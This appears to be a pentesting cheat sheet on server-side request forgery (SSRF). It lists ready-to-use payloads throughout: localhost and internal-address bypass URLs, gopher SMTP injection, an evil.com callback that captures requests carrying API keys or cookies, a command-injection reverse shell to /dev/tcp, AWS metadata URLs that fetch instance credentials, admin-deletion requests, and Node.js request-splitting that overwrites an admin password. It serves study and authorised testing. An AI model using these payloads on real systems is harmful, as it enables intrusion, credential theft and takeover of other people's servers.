SSRF (Server-Side Request Forgery)
Last modified: 2023-10-18
SSRF is a type of exploit where an attacker abuses the functionality of a server causing it to access or manipulate information in the realm of that server that would otherwise not be directly accessibleto the attacker. SSRF is an attack against a server.
SSRF Capture Tools
If we want to capture incoming requests from target website/server, there is a lot of open-source tools available.
Ngrok
To start ngrok server, run the following.
ngrok http 80
# Force http scheme (not https)
ngrok http --scheme=http 8090 --host-header=localhost:8090
Then start your local web server for fetching requests forwarded from the ngrok server.
sudo python3 -m http.server 80
# or
python3 -m http.server 8090
After starting ngrok and local web server, we can use the URL such as https://abcd-12-3-45-678.ngrok-free.app.
Localhost.run
As mentioned the official documentation,
# If you don't already have an SSH key, generate it first.
ssh-keygen -t rsa
# Port forwarding to your local 8080 port.
ssh -R 80:localhost:8080 localhost.run
After running the command above, copy generated URL such as abcdef123456789.lhr.life.
Requests sent to this URL will be forwarded to your localhost:8080.
LocalXpose
LocalXpose is a reverse proxy that enables you to expose your localhost to the internet. To use it, we need to sign up and Access Token.
- Login using Access Token.
loclx account login
- Open browser to access GUI version.
loclx
Pastebin
After writing the content in there, we can easily use the raw page such as https://pastebin.com/raw/abcdefgh.
Interactsh
interactsh-client -v
Other Tools
Local Web Server
Also we can simply open local web server if local machine accepts external requests.
python3 -m http.server 8000
HTTP (http://)
We may be able to use another server in the target machine.
For example, pass the localhost URL to the GET parameters.
Also These are available in POST params.
# Localhost
?url=http://localhost/
?url=http://127.0.0.1/
?url=http://127.0.0.1:80/
?url=http://127.0.0.1:3000/
?url=http://127.0.0.1:8000/
?url=http://127.0.0.1:8080/
?url=http://0/
?url=http://2130706433/
?url=http://017700000001/
?url=http://127.1/
?url=http://127.0.0.1/test.php%00
?url=http://127.0.0.1/test.php\x00
# Backend URL (e.g. 192.168.0.x)
?url=http://192.168.0.23/
?url=http://192.168.0.23:80/
?url=http://192.168.0.23:3000/
?url=http://192.168.0.23:8000/
?url=http://192.168.0.23:8080/
# Server status
?url=http://localhost/server-status
# At sign
?url=test@sub.example.com/index.php
Local Port Enumeration
We can find which port is opening by fuzzing port number.
seq 1 65535 | ffuf -u https://example.com/?url=http://127.0.0.1:FUZZ -w -
Gopher (gopher://)
We may be able to use gopher:// scheme.
Automation
We can use Gopherus to create a payload automatically.
SMTP
At first, we need to prepare a payload for sending message to victim user.
gopher://127.0.0.1:25/_MAIL FROM:<john@example.com>
RCPT TO:<mike@example.com>
DATA
From:john@gofer.htb
Subject:Test
Hi, I'm not hacker.
.
The payload above can be URL encoded with tools such as CyberChef. Then the encoded payload is as follow.
gopher://127.0.0.1:25/_MAIL%20FROM:%3Cjohn@example.com%3E%0ARCPT%20TO:%3Cmike@example.com%3E%0ADATA%0AFrom:john@gofer.htb%0ASubject:Test%0AHi,%20I'm%20not%20hacker.%0A.
We can use it to SSRF.
?url=gopher://127.0.0.1:25/_MAIL...
Listen HTTP Request
If the website is vulnerable to SSRF, we can fetch sensitive information in HTTP request by sniffing.
First off, start a listener in local machine.
sudo nc -lvp 80
Then send request that is affected by SSRF.
https://example.com/mail?server=http://evil.com
See the HTTP request in local machine.
We might be able to fetch the sensitive data such as API key, Cookie, etc.
OS Command Injection
?url=http://127.0.0.1:3000/test;whoami
?url=http://127.0.0.1:3000/test;ping+-c+1+10.0.0.1
# Reverse Shell
?url=http://127.0.0.1:3000/;bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
Admin Operations
We may be able to operate significant stuff as the admin user via local server.
# Localhost
?url=http://localhost/admin
?url=http://localhost/admin/delete?username=john
?url=http://127.1/%25%36%31dmin
# Backend URL (e.g. 192.168.0.x)
?url=http://192.168.0.23/admin
?url=http://192.168.0.23/admin/delete?username=john
Whitelisted URL Bypass
If the target website allows only the whitelisted URL, we can use them.
Assume only "example.com" is allowed by the target website.
?url=http://localhost@example.com/
?url=http://localhost%25%32%33@example.com/
Open Redirect
key=/post/next?path=http://localhost/admin
AWS Instances
?url=http://169.254.169.254/latest/dynamic/instance-identity/
?url=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
Hostname Bypass
1. Add Target Domain to /etc/hosts in Local Machine
x.x.x.x sub.example.com
Restart the hostname service to apply the configuration imediately.
sudo systemctl restart systemd-hostnamed
2. Access to the Domain We Specified**
https://example.com/?proxy=https://sub.example.com
API Request
We might be able to get information from an API endpoint that is not accessible normally.
?url=https://api.example.com/users
?url=https://api.example.com@internal-api.example.com/users
Reveal Filtered Websites via Monitoring Tools (Webhook)
Some web apps may have monitoring tools that check the health of external websites.
You may be able to reveal hidden contents of the target via the monitor.
First off, create a redirect server using Python. Here it’s named “redirect.py”.
#!/usr/bin/python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[1])
self.end_headers()
HTTPServer(("0.0.0.0", 8000), Redirect).serve_forever()
After creating, run the following command.
Assume that the filtered port is 3000 (nmap will reveal it).
python3 redirect.py http://127.0.0.1:3000
And start listener for receiving the POST request of the webhook from the target website.
nc -lvnp 4444
Now set the configuration of the webhook. For example:
Payload URL: http://<local-ip>:4444/
Monitored URL: http://<local-ip>:8000/
You can see the contents of the filtered app.
Request Splitting
Reference: https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/
It is the vulnerability of the Node.js http.get module, which allows attacker to insert HTTP headers and bodies by splitting request.
First off, prepare HTTP headers and body as below:
HTTP/1.1
POST /update HTTP1.1
Content-Length: 28
username=admin&password=newpass
GET
Then manipulate it for sending to target.
# \u0120: space
# \u010D: \r
# \u010A: \n
?url=http://example.com\u0120HTTP/1.1\u010D\u010APOST\u0120/update\u0120HTTP/1.1\u010D\u010AContent-Length:\u012028\u010D\u010A\u010D\u010Ausername=admin&password=pass\u010D\u010A\u010D\u010AGET\u0120